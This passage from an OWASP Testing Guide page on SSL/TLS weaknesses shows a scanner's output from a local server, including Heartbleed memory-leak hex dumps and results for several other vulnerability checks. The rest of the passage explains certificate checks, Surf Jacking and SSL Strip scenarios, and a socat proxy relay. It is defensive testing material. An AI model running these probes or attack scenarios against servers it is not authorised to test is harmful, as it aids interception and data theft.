0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
